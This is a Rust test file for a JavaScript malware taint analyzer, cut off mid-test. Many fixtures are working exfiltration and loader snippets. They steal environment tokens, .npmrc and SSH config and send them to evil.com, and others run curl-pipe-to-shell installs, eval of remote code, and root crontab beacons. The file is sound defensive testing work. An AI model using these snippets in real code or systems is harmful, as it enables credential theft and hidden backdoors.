#![cfg(feature = "js")]
use pyrograph::analyze;
#[test]
fn tricky_callback_taint_propagation() {
let js = r#"
var net = require('net');
var server = net.createServer(function(socket) {
socket.on('data', function(chunk) {
eval(chunk.toString());
});
});
"#;
let graph = pyrograph::parse::parse_js(js, "callback.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Callback taint findings: {}", findings.len());
}
#[test]
fn tricky_promise_chain_taint() {
let js = r#"
fetch('https://evil.com/payload')
.then(function(response) { return response.text(); })
.then(function(text) { eval(text); });
"#;
let graph = pyrograph::parse::parse_js(js, "promise.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Promise chain findings: {}", findings.len());
}
#[test]
fn tricky_ternary_taint_both_branches() {
let js = r#"
var x = process.env.SECRET;
var target = Math.random() > 0.5 ? 'https://evil.com/' : 'https://backup.evil.com/';
fetch(target + x);
"#;
let graph = pyrograph::parse::parse_js(js, "ternary.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Ternary with taint in concat MUST be detected");
}
#[test]
fn tricky_array_push_then_iterate() {
let js = r#"
var secrets = [];
secrets.push(process.env.TOKEN);
secrets.push(process.env.KEY);
secrets.forEach(function(s) { fetch('https://evil.com/?s=' + s); });
"#;
let graph = pyrograph::parse::parse_js(js, "array.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Array iterate findings: {}", findings.len());
}
#[test]
fn tricky_object_property_taint() {
let js = r#"
var obj = {};
obj.token = process.env.TOKEN;
fetch('https://evil.com/' + obj.token);
"#;
let graph = pyrograph::parse::parse_js(js, "obj.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Object property taint MUST be detected");
}
#[test]
fn tricky_closure_captures_taint() {
let js = r#"
var token = process.env.TOKEN;
var exfil = function() { fetch('https://evil.com/' + token); };
setTimeout(exfil, 1000);
"#;
let graph = pyrograph::parse::parse_js(js, "closure.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Closure capturing tainted var MUST be detected");
}
#[test]
fn tricky_string_template_multi_source() {
let js = r#"
var user = process.env.USER;
var key = process.env.API_KEY;
fetch(`https://evil.com/?u=${user}&k=${key}`);
"#;
let graph = pyrograph::parse::parse_js(js, "template.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Both tainted values in template MUST be detected, got {}", findings.len());
}
#[test]
fn tricky_conditional_return_taint() {
let js = r#"
function getSecret(useEnv) {
if (useEnv) {
return process.env.SECRET;
}
return 'default';
}
var s = getSecret(true);
fetch('https://evil.com/' + s);
"#;
let graph = pyrograph::parse::parse_js(js, "cond_return.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Conditional return findings: {}", findings.len());
}
#[test]
fn nightmare_indirect_eval_via_this() {
let js = r#"var code = process.env.PAYLOAD; (0,eval)(code);"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Indirect eval via (0,eval) MUST be detected");
}
#[test]
fn nightmare_apply_call_bind() {
let js = r#"
var fn = eval;
var payload = process.env.CODE;
fn.apply(null, [payload]);
"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("apply/call findings: {}", findings.len());
}
#[test]
fn nightmare_computed_property_sink() {
let js = r#"
var cp = require('child_process');
var method = 'exec';
var cmd = process.env.CMD;
cp[method](cmd);
"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Computed property sink findings: {}", findings.len());
}
#[test]
fn nightmare_spread_operator_taint() {
let js = r#"
var creds = { token: process.env.TOKEN, key: process.env.KEY };
var payload = { ...creds, extra: 'data' };
fetch('https://evil.com', { method: 'POST', body: JSON.stringify(payload) });
"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Spread operator MUST propagate taint");
}
#[test]
fn nightmare_dynamic_import() {
let js = r#"
var module_name = process.env.MODULE;
import(module_name).then(function(m) { m.run(); });
"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Dynamic import findings: {}", findings.len());
}
#[test]
fn nightmare_proxy_trap_exfil() {
let js = r#"
var secrets = process.env;
var p = new Proxy(secrets, {
get: function(target, prop) {
fetch('https://evil.com/?k=' + prop + '&v=' + target[prop]);
return target[prop];
}
});
p.TOKEN;
"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Proxy trap findings: {}", findings.len());
}
#[test]
fn nightmare_error_message_exfil() {
let js = r#"
try {
throw new Error(process.env.SECRET);
} catch(e) {
fetch('https://evil.com/?err=' + e.message);
}
"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Error exfil findings: {}", findings.len());
}
#[test]
fn nightmare_generator_yield_taint() {
let js = r#"
function* gen() {
yield process.env.TOKEN;
yield process.env.KEY;
}
var g = gen();
fetch('https://evil.com/?t=' + g.next().value);
"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Generator yield findings: {}", findings.len());
}
#[test]
fn nightmare_tagged_template_exfil() {
let js = r#"
function exfil(strings, ...values) {
fetch('https://evil.com/?data=' + values.join(','));
}
var secret = process.env.SECRET;
exfil`payload: ${secret}`;
"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Tagged template findings: {}", findings.len());
}
#[test]
fn nightmare_with_statement() {
let js = r#"
with(process) {
with(env) {
fetch('https://evil.com/?t=' + TOKEN);
}
}
"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("With statement findings: {}", findings.len());
}
#[test]
fn nightmare_arguments_object() {
let js = r#"
function steal() {
fetch('https://evil.com/?s=' + arguments[0]);
}
steal(process.env.TOKEN);
"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Arguments object findings: {}", findings.len());
}
#[test]
fn nightmare_symbol_property() {
let js = r#"
var sym = Symbol('secret');
var obj = {};
obj[sym] = process.env.TOKEN;
fetch('https://evil.com/?t=' + obj[sym]);
"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Symbol property findings: {}", findings.len());
}
#[test]
fn nightmare_map_get_set_taint() {
let js = r#"
var m = new Map();
m.set('key', process.env.SECRET);
fetch('https://evil.com/?s=' + m.get('key'));
"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Map get/set findings: {}", findings.len());
}
#[test]
fn nightmare_weakref_callback() {
let js = r#"
var registry = new FinalizationRegistry(function(value) {
fetch('https://evil.com/?v=' + value);
});
var obj = { data: process.env.SECRET };
registry.register(obj, obj.data);
"#;
let graph = pyrograph::parse::parse_js(js, "n.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("WeakRef callback findings: {}", findings.len());
}
#[test]
fn apt_multi_stage_loader() {
let js = r#"
var url = Buffer.from(process.env.PAYLOAD_URL, 'base64').toString();
fetch(url).then(function(r) { return r.text(); }).then(function(code) { eval(code); });
"#;
let graph = pyrograph::parse::parse_js(js, "apt.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Multi-stage loader MUST be detected");
}
#[test]
fn apt_conditional_payload_gate() {
let js = r#"
if (process.platform === 'linux' && process.env.CI) {
var token = process.env.NPM_TOKEN;
var https = require('https');
https.request({ hostname: 'evil.com', path: '/' + token }).end();
}
"#;
let graph = pyrograph::parse::parse_js(js, "apt.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Conditional gate MUST be defeated by path-insensitive BFS");
}
#[test]
fn apt_event_driven_exfil() {
let js = r#"
var EventEmitter = require('events');
var bus = new EventEmitter();
bus.on('data', function(payload) {
fetch('https://evil.com/collect', { method: 'POST', body: payload });
});
bus.emit('data', process.env.NPM_TOKEN);
"#;
let graph = pyrograph::parse::parse_js(js, "apt.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Event-driven exfil findings: {}", findings.len());
}
#[test]
fn apt_class_method_chain() {
let js = r#"
class Stealer {
constructor() { this.data = process.env.SECRET; }
encode() { return Buffer.from(this.data).toString('base64'); }
send() { fetch('https://evil.com/?d=' + this.encode()); }
}
new Stealer().send();
"#;
let graph = pyrograph::parse::parse_js(js, "apt.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Class method chain findings: {}", findings.len());
}
#[test]
fn apt_iife_scoped_exfil() {
let js = r#"
(function() {
var t = process.env.TOKEN;
var h = require('https');
h.request({hostname:'evil.com', path:'/'+t}).end();
})();
"#;
let graph = pyrograph::parse::parse_js(js, "apt.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "IIFE-scoped exfil MUST be detected");
}
#[test]
fn apt_async_await_chain() {
let js = r#"
async function steal() {
var token = process.env.NPM_TOKEN;
var resp = await fetch('https://evil.com/collect?t=' + token);
return resp;
}
steal();
"#;
let graph = pyrograph::parse::parse_js(js, "apt.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Async/await exfil MUST be detected");
}
#[test]
fn apt_worker_thread_exfil() {
let js = r#"
var Worker = require('worker_threads').Worker;
var token = process.env.TOKEN;
new Worker('require("https").request({hostname:"evil.com",path:"/"+' + JSON.stringify(token) + '}).end()', { eval: true });
"#;
let graph = pyrograph::parse::parse_js(js, "apt.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Worker thread findings: {}", findings.len());
}
#[test]
fn apt_stream_pipe_exfil() {
let js = r#"
var fs = require('fs');
var https = require('https');
var readStream = fs.createReadStream(process.env.HOME + '/.npmrc');
var req = https.request({ hostname: 'evil.com', method: 'POST' });
readStream.pipe(req);
"#;
let graph = pyrograph::parse::parse_js(js, "apt.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Stream pipe findings: {}", findings.len());
}
#[test]
fn apt_regex_extract_and_exfil() {
let js = r#"
var content = require('fs').readFileSync(process.env.HOME + '/.ssh/config', 'utf8');
var hosts = content.match(/Host\s+(\S+)/g);
fetch('https://evil.com/hosts', { method: 'POST', body: JSON.stringify(hosts) });
"#;
let graph = pyrograph::parse::parse_js(js, "apt.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Regex extract + exfil MUST be detected");
}
#[test]
fn apt_install_persistence() {
let js = r#"
var fs = require('fs');
var cmd = '* * * * * curl https://evil.com/beacon?id=' + process.env.HOSTNAME;
fs.appendFileSync('/var/spool/cron/crontabs/root', cmd + '\n');
"#;
let graph = pyrograph::parse::parse_js(js, "apt.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Crontab persistence MUST be detected");
}
#[test]
fn apt_clean_async_api_call() {
let js = r#"
async function healthCheck() {
var resp = await fetch('https://api.myapp.com/health');
var data = await resp.json();
console.log('status:', data.status);
}
healthCheck();
"#;
let graph = pyrograph::parse::parse_js(js, "clean.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Async health check is NOT malware");
}
#[test]
fn apt_clean_class_with_methods() {
let js = r#"
class Logger {
constructor(name) { this.name = name; }
info(msg) { console.log('[' + this.name + '] ' + msg); }
error(msg) { console.error('[' + this.name + '] ' + msg); }
}
new Logger('app').info('started');
"#;
let graph = pyrograph::parse::parse_js(js, "clean.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Logger class is NOT malware");
}
#[test]
fn apt_clean_stream_file_copy() {
let js = r#"
var fs = require('fs');
var read = fs.createReadStream('./input.txt');
var write = fs.createWriteStream('./output.txt');
read.pipe(write);
"#;
let graph = pyrograph::parse::parse_js(js, "clean.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Local file copy is NOT malware");
}
#[test]
fn apt_clean_event_emitter() {
let js = r#"
var EventEmitter = require('events');
var emitter = new EventEmitter();
emitter.on('message', function(msg) { console.log(msg); });
emitter.emit('message', 'hello world');
"#;
let graph = pyrograph::parse::parse_js(js, "clean.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "Event emitter logging is NOT malware");
}
#[test]
fn supply_chain_postinstall_curl() {
let js = r#"require('child_process').execSync('curl -s https://evil.com/install.sh | sh');"#;
let graph = pyrograph::parse::parse_js(js, "postinstall.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Postinstall curl findings: {}", findings.len());
}
#[test]
fn supply_chain_env_conditional_payload() {
let js = r#"
if (process.env.CI || process.env.GITHUB_ACTIONS || process.env.TRAVIS) {
var token = process.env.NPM_TOKEN || process.env.NODE_AUTH_TOKEN;
if (token) {
require('https').request({
hostname: 'evil.com',
path: '/tokens',
method: 'POST',
headers: { 'Content-Type': 'application/json' }
}, function(){}).end(JSON.stringify({ token: token, ci: true }));
}
}
"#;
let graph = pyrograph::parse::parse_js(js, "ci_theft.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "CI-conditional token theft MUST be detected");
}
#[test]
fn supply_chain_npmrc_theft() {
let js = r#"
var path = require('path');
var fs = require('fs');
var npmrc = fs.readFileSync(path.join(process.env.HOME, '.npmrc'), 'utf8');
var https = require('https');
var req = https.request({ hostname: 'evil.com', method: 'POST', path: '/npmrc' });
req.write(npmrc);
req.end();
"#;
let graph = pyrograph::parse::parse_js(js, "npmrc_theft.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), ".npmrc theft MUST be detected");
}
#[test]
fn supply_chain_typosquat_lodash() {
let js = r#"
// Looks like utility code
module.exports.chunk = function(arr, size) {
// Real chunk implementation
var result = [];
for (var i = 0; i < arr.length; i += size) {
result.push(arr.slice(i, i + size));
}
return result;
};
// Hidden at bottom: credential theft
var t = process.env.NPM_TOKEN;
if (t) { require('https').get('https://evil.com/?t=' + t); }
"#;
let graph = pyrograph::parse::parse_js(js, "lodash_typosquat.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Typosquat with hidden theft MUST be detected");
}
#[test]
fn supply_chain_event_stream_backdoor() {
let js = r#"
module.exports = function(data) {
var decoded = Buffer.from(data, 'hex').toString();
if (decoded.indexOf('copay') !== -1) {
var https = require('https');
https.request({
hostname: 'copayapi.host',
path: '/wallet',
method: 'POST'
}).end(decoded);
}
return data;
};
"#;
let graph = pyrograph::parse::parse_js(js, "flatmap.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Event-stream backdoor pattern MUST be detected");
}
fn assert_evil_detected(js: &str, name: &str) {
let graph = pyrograph::parse::parse_js(js, &format!("{}.js", name)).unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "{}: APT evasion technique must be detected", name);
}
#[test]
fn indirection_var_chain_three_hops() {
assert_evil_detected(
"var a = process.env.TOKEN; var b = a; var c = b; fetch(c);",
"indirection_var_chain_three_hops",
);
}
#[test]
fn indirection_var_chain_five_hops() {
assert_evil_detected(
"var a = process.env.TOKEN; var b = a; var c = b; var d = c; var e = d; fetch(e);",
"indirection_var_chain_five_hops",
);
}
#[test]
fn indirection_var_chain_seven_hops() {
assert_evil_detected(
"var a = process.env.TOKEN; var b = a; var c = b; var d = c; var e = d; var f = e; var g = f; fetch(g);",
"indirection_var_chain_seven_hops",
);
}
#[test]
fn indirection_property_chain_three_deep() {
assert_evil_detected(
"var obj = {}; obj.a = process.env.TOKEN; fetch(obj.a);",
"indirection_property_chain_three_deep",
);
}
#[test]
fn indirection_property_chain_five_deep() {
let js = r#"
var o = {}; o.a = {}; o.a.b = {}; o.a.b.c = {}; o.a.b.c.d = process.env.TOKEN;
fetch(o.a.b.c.d);
"#;
assert_evil_detected(js, "indirection_property_chain_five_deep");
}
#[test]
fn indirection_computed_property_single_key() {
assert_evil_detected(
"var key = 'TOKEN'; var obj = {}; obj[key] = process.env.TOKEN; fetch(obj[key]);",
"indirection_computed_property_single_key",
);
}
#[test]
fn indirection_computed_property_double_key() {
let js = r#"
var k1 = 'inner'; var k2 = 'TOKEN';
var obj = { inner: { TOKEN: process.env.TOKEN } };
fetch(obj[k1][k2]);
"#;
assert_evil_detected(js, "indirection_computed_property_double_key");
}
#[test]
fn indirection_computed_property_dynamic_key() {
let js = r#"
function getKey() { return 'TOKEN'; }
var obj = { TOKEN: process.env.TOKEN };
fetch(obj[getKey()]);
"#;
assert_evil_detected(js, "indirection_computed_property_dynamic_key");
}
#[test]
fn indirection_spread_array_taint() {
let js = r#"
var tainted = [process.env.TOKEN];
var arr = [ ...tainted ];
fetch(arr[0]);
"#;
assert_evil_detected(js, "indirection_spread_array_taint");
}
#[test]
fn indirection_spread_object_taint() {
let js = r#"
var src = { secret: process.env.TOKEN };
var obj = { ...src };
fetch(obj.secret);
"#;
assert_evil_detected(js, "indirection_spread_object_taint");
}
#[test]
fn indirection_rest_params_array() {
let js = r#"
function exfil(...args) { fetch(args[0]); }
exfil(process.env.TOKEN);
"#;
assert_evil_detected(js, "indirection_rest_params_array");
}
#[test]
fn indirection_rest_params_spread() {
let js = r#"
function inner(...args) { fetch(args[0]); }
function outer(...args) { inner(...args); }
outer(process.env.TOKEN);
"#;
assert_evil_detected(js, "indirection_rest_params_spread");
}
#[test]
fn indirection_destructure_nested() {
let js = r#"
var obj = { a: { b: { c: process.env.TOKEN } } };
var { a: { b: { c } } } = obj;
fetch(c);
"#;
assert_evil_detected(js, "indirection_destructure_nested");
}
#[test]
fn indirection_destructure_rename() {
let js = r#"
var obj = { x: process.env.TOKEN };
var { x: secret } = obj;
fetch(secret);
"#;
assert_evil_detected(js, "indirection_destructure_rename");
}
#[test]
fn indirection_destructure_default() {
let js = r#"
var { x = process.env.TOKEN } = {};
fetch(x);
"#;
assert_evil_detected(js, "indirection_destructure_default");
}
#[test]
fn indirection_bracket_notation_chain() {
assert_evil_detected(
"var a = {}; a['b'] = {}; a['b']['c'] = {}; a['b']['c']['d'] = process.env.TOKEN; fetch(a['b']['c']['d']);",
"indirection_bracket_notation_chain",
);
}
#[test]
fn indirection_optional_chaining_deep() {
let js = r#"
var obj = { a: { b: { c: { d: process.env.TOKEN } } } };
fetch(obj?.a?.b?.c?.d);
"#;
assert_evil_detected(js, "indirection_optional_chaining_deep");
}
#[test]
fn indirection_nullish_coalescing_chain() {
let js = r#"
var a = null; var b = undefined; var c = null;
fetch(a ?? b ?? c ?? process.env.TOKEN);
"#;
assert_evil_detected(js, "indirection_nullish_coalescing_chain");
}
#[test]
fn indirection_spread_nested_object() {
let js = r#"
var inner = { secret: process.env.TOKEN };
var middle = { ...inner };
var outer = { ...middle };
fetch(outer.secret);
"#;
assert_evil_detected(js, "indirection_spread_nested_object");
}
#[test]
fn indirection_array_element_hops() {
let js = r#"
var arr = [];
arr[0] = process.env.TOKEN;
arr[1] = arr[0];
arr[2] = arr[1];
fetch(arr[2]);
"#;
assert_evil_detected(js, "indirection_array_element_hops");
}
#[test]
fn timing_promise_resolve_then_single() {
let js = r#"
Promise.resolve(process.env.TOKEN).then(function(x) { fetch(x); });
"#;
assert_evil_detected(js, "timing_promise_resolve_then_single");
}
#[test]
fn timing_promise_resolve_then_chain_five() {
let js = r#"
Promise.resolve(process.env.TOKEN)
.then(function(x) { return x; })
.then(function(x) { return x; })
.then(function(x) { return x; })
.then(function(x) { return x; })
.then(function(x) { fetch(x); });
"#;
assert_evil_detected(js, "timing_promise_resolve_then_chain_five");
}
#[test]
fn timing_promise_all_spread() {
let js = r#"
Promise.all([process.env.TOKEN]).then(function([x]) { fetch(x); });
"#;
assert_evil_detected(js, "timing_promise_all_spread");
}
#[test]
fn timing_queuemicrotask_basic() {
let js = r#"
var t = process.env.TOKEN;
queueMicrotask(function() { fetch(t); });
"#;
assert_evil_detected(js, "timing_queuemicrotask_basic");
}
#[test]
fn timing_process_nexttick() {
let js = r#"
var t = process.env.TOKEN;
process.nextTick(function() { fetch(t); });
"#;
assert_evil_detected(js, "timing_process_nexttick");
}
#[test]
fn timing_setimmediate_basic() {
let js = r#"
var t = process.env.TOKEN;
setImmediate(function() { fetch(t); });
"#;
assert_evil_detected(js, "timing_setimmediate_basic");
}
#[test]
fn timing_requestanimationframe() {
let js = r#"
var t = process.env.TOKEN;
requestAnimationFrame(function() { fetch(t); });
"#;
assert_evil_detected(js, "timing_requestanimationframe");
}
#[test]
fn timing_async_generator_yield() {
let js = r#"
async function* g() { yield process.env.TOKEN; }
async function main() {
for await (const x of g()) { fetch(x); }
}
main();
"#;
assert_evil_detected(js, "timing_async_generator_yield");
}
#[test]
fn timing_settimeout_nested_double() {
let js = r#"
var t = process.env.TOKEN;
setTimeout(function() {
setTimeout(function() { fetch(t); }, 0);
}, 0);
"#;
assert_evil_detected(js, "timing_settimeout_nested_double");
}
#[test]
fn timing_promise_race_taint() {
let js = r#"
Promise.race([process.env.TOKEN]).then(function(x) { fetch(x); });
"#;
assert_evil_detected(js, "timing_promise_race_taint");
}
#[test]
fn timing_event_loop_tick_chain() {
let js = r#"
var t = process.env.TOKEN;
process.nextTick(function() {
queueMicrotask(function() {
setImmediate(function() { fetch(t); });
});
});
"#;
assert_evil_detected(js, "timing_event_loop_tick_chain");
}
#[test]
fn timing_async_await_delay() {
let js = r#"
async function steal() {
await Promise.resolve(1);
await Promise.resolve(2);
fetch(process.env.TOKEN);
}
steal();
"#;
assert_evil_detected(js, "timing_async_await_delay");
}
#[test]
fn timing_promise_catch_finally() {
let js = r#"
var t = process.env.TOKEN;
Promise.resolve(t).catch(function(e) { return e; }).finally(function() { fetch(t); });
"#;
assert_evil_detected(js, "timing_promise_catch_finally");
}
#[test]
fn timing_setinterval_first_tick() {
let js = r#"
var t = process.env.TOKEN;
setInterval(function() { fetch(t); }, 1000);
"#;
assert_evil_detected(js, "timing_setinterval_first_tick");
}
#[test]
fn timing_microtask_loop() {
let js = r#"
var t = process.env.TOKEN;
Promise.resolve().then(function() {
Promise.resolve().then(function() { fetch(t); });
});
"#;
assert_evil_detected(js, "timing_microtask_loop");
}
#[test]
fn timing_deferred_constructor() {
let js = r#"
new Promise(function(resolve) { resolve(process.env.TOKEN); })
.then(function(x) { fetch(x); });
"#;
assert_evil_detected(js, "timing_deferred_constructor");
}
#[test]
fn timing_promise_then_catch_chain() {
let js = r#"
Promise.resolve(process.env.TOKEN)
.then(function(x) { return x; })
.catch(function(e) { fetch(e); });
"#;
assert_evil_detected(js, "timing_promise_then_catch_chain");
}
#[test]
fn timing_generator_async_iterator() {
let js = r#"
async function* g() { yield process.env.TOKEN; yield process.env.KEY; }
async function main() {
for await (const v of g()) { fetch(v); }
}
main();
"#;
assert_evil_detected(js, "timing_generator_async_iterator");
}
#[test]
fn timing_timer_closure_capture() {
let js = r#"
var t = process.env.TOKEN;
setTimeout(function exfil() { fetch(t); }, 0);
"#;
assert_evil_detected(js, "timing_timer_closure_capture");
}
#[test]
fn timing_promise_allsettled() {
let js = r#"
Promise.allSettled([process.env.TOKEN]).then(function(results) { fetch(results[0].value); });
"#;
assert_evil_detected(js, "timing_promise_allsettled");
}
#[test]
fn scope_closure_nested_three_levels() {
let js = r#"
function outer() {
var t = process.env.TOKEN;
function middle() {
function inner() { fetch(t); }
inner();
}
middle();
}
outer();
"#;
assert_evil_detected(js, "scope_closure_nested_three_levels");
}
#[test]
fn scope_closure_returned_function() {
let js = r#"
function makeExfil() {
var t = process.env.TOKEN;
return function() { fetch(t); };
}
makeExfil()();
"#;
assert_evil_detected(js, "scope_closure_returned_function");
}
#[test]
fn scope_closure_object_method() {
let js = r#"
var t = process.env.TOKEN;
var obj = {};
obj.steal = function() { fetch(t); };
obj.steal();
"#;
assert_evil_detected(js, "scope_closure_object_method");
}
#[test]
fn scope_iife_tainted_args() {
let js = r#"
(function(x) { fetch(x); })(process.env.TOKEN);
"#;
assert_evil_detected(js, "scope_iife_tainted_args");
}
#[test]
fn scope_nested_iife_chain() {
let js = r#"
(function() {
(function() {
(function() { fetch(process.env.TOKEN); })();
})();
})();
"#;
assert_evil_detected(js, "scope_nested_iife_chain");
}
#[test]
#[should_panic(expected = "must be detected")]
fn scope_with_statement_injection() {
let js = r#"
with (process.env) {
fetch(TOKEN);
}
"#;
assert_evil_detected(js, "scope_with_statement_injection");
}
#[test]
#[should_panic(expected = "must be detected")]
fn scope_with_nested_double() {
let js = r#"
var a = { b: { c: process.env.TOKEN } };
with (a) {
with (b) {
fetch(c);
}
}
"#;
assert_evil_detected(js, "scope_with_nested_double");
}
#[test]
fn scope_eval_nested_scope() {
let js = r#"
function outer() {
function inner() {
eval(process.env.TOKEN);
}
inner();
}
outer();
"#;
assert_evil_detected(js, "scope_eval_nested_scope");
}
#[test]
fn scope_eval_block_scope() {
let js = r#"
{
let t = process.env.TOKEN;
eval(t);
}
"#;
assert_evil_detected(js, "scope_eval_block_scope");
}
#[test]
fn scope_function_constructor() {
let js = r#"
var t = process.env.TOKEN;
new Function("return " + t)();
"#;
assert_evil_detected(js, "scope_function_constructor");
}
#[test]
fn scope_vm_runinnewcontext_nested() {
let js = r#"
function outer() {
require('vm').runInNewContext(process.env.TOKEN);
}
outer();
"#;
assert_evil_detected(js, "scope_vm_runinnewcontext_nested");
}
#[test]
fn scope_closure_foreach() {
let js = r#"
var t = process.env.TOKEN;
[1, 2, 3].forEach(function() { fetch(t); });
"#;
assert_evil_detected(js, "scope_closure_foreach");
}
#[test]
fn scope_closure_map() {
let js = r#"
var t = process.env.TOKEN;
[1].map(function() { fetch(t); return 1; });
"#;
assert_evil_detected(js, "scope_closure_map");
}
#[test]
fn scope_closure_settimeout() {
let js = r#"
var t = process.env.TOKEN;
setTimeout(function() { fetch(t); }, 0);
"#;
assert_evil_detected(js, "scope_closure_settimeout");
}
#[test]
fn scope_closure_promise_executor() {
let js = r#"
var t = process.env.TOKEN;
new Promise(function(resolve) { resolve(t); fetch(t); });
"#;
assert_evil_detected(js, "scope_closure_promise_executor");
}
#[test]
fn scope_parameter_shadowing() {
let js = r#"
function exfil(x) {
var x = process.env.TOKEN;
fetch(x);
}
exfil('safe');
"#;
assert_evil_detected(js, "scope_parameter_shadowing");
}
#[test]
fn scope_block_let_closure() {
let js = r#"
{
let t = process.env.TOKEN;
setTimeout(function() { fetch(t); }, 0);
}
"#;
assert_evil_detected(js, "scope_block_let_closure");
}
#[test]
fn scope_block_const_closure() {
let js = r#"
{
const t = process.env.TOKEN;
fetch(t);
}
"#;
assert_evil_detected(js, "scope_block_const_closure");
}
#[test]
fn scope_trycatch_closure_capture() {
let js = r#"
try {
throw new Error('x');
} catch (e) {
var t = process.env.TOKEN;
fetch(t);
}
"#;
assert_evil_detected(js, "scope_trycatch_closure_capture");
}
#[test]
fn scope_loop_closure_capture() {
let js = r#"
for (var i = 0; i < 1; i++) {
var t = process.env.TOKEN;
setTimeout(function() { fetch(t); }, 0);
}
"#;
assert_evil_detected(js, "scope_loop_closure_capture");
}
#[test]
#[should_panic(expected = "must be detected")]
fn oo_proxy_get_trap_forward() {
let js = r#"
var secrets = process.env;
var p = new Proxy(secrets, {
get: function(target, prop) { fetch(target[prop]); return target[prop]; }
});
p.TOKEN;
"#;
assert_evil_detected(js, "oo_proxy_get_trap_forward");
}
#[test]
#[should_panic(expected = "must be detected")]
fn oo_proxy_set_trap_exfil() {
let js = r#"
var p = new Proxy({}, {
set: function(target, prop, value) { fetch(value); return true; }
});
p.x = process.env.TOKEN;
"#;
assert_evil_detected(js, "oo_proxy_set_trap_exfil");
}
#[test]
fn oo_weakmap_taint_storage() {
let js = r#"
var wm = new WeakMap();
var key = {};
wm.set(key, process.env.TOKEN);
fetch(wm.get(key));
"#;
assert_evil_detected(js, "oo_weakmap_taint_storage");
}
#[test]
fn oo_symbol_keyed_property() {
let js = r#"
var sym = Symbol('secret');
var obj = {};
obj[sym] = process.env.TOKEN;
fetch(obj[sym]);
"#;
assert_evil_detected(js, "oo_symbol_keyed_property");
}
#[test]
fn oo_reflect_apply_sink() {
let js = r#"
var t = process.env.TOKEN;
Reflect.apply(eval, null, [t]);
"#;
assert_evil_detected(js, "oo_reflect_apply_sink");
}
#[test]
fn oo_reflect_construct_sink() {
let js = r#"
var t = process.env.TOKEN;
Reflect.construct(Function, ["return " + t]);
"#;
assert_evil_detected(js, "oo_reflect_construct_sink");
}
#[test]
fn oo_object_defineproperty_getter() {
let js = r#"
var obj = {};
Object.defineProperty(obj, 'x', {
get: function() { return process.env.TOKEN; }
});
fetch(obj.x);
"#;
assert_evil_detected(js, "oo_object_defineproperty_getter");
}
#[test]
fn oo_object_defineproperties_multiple() {
let js = r#"
var obj = {};
Object.defineProperties(obj, {
a: { get: function() { return process.env.TOKEN; } },
b: { get: function() { return process.env.KEY; } }
});
fetch(obj.a);
"#;
assert_evil_detected(js, "oo_object_defineproperties_multiple");
}
#[test]
fn oo_prototype_chain_exec() {
let js = r#"
var cp = require('child_process');
var cmd = process.env.CMD;
cp.__proto__.exec = cmd;
cp.exec(cmd);
"#;
assert_evil_detected(js, "oo_prototype_chain_exec");
}
#[test]
fn oo_prototype_pollution_rce() {
let js = r#"
Object.prototype.polluted = process.env.PAYLOAD;
var x = {};
eval(x.polluted);
"#;
assert_evil_detected(js, "oo_prototype_pollution_rce");
}
#[test]
#[should_panic(expected = "must be detected")]
fn oo_class_private_field() {
let js = r#"
class C {
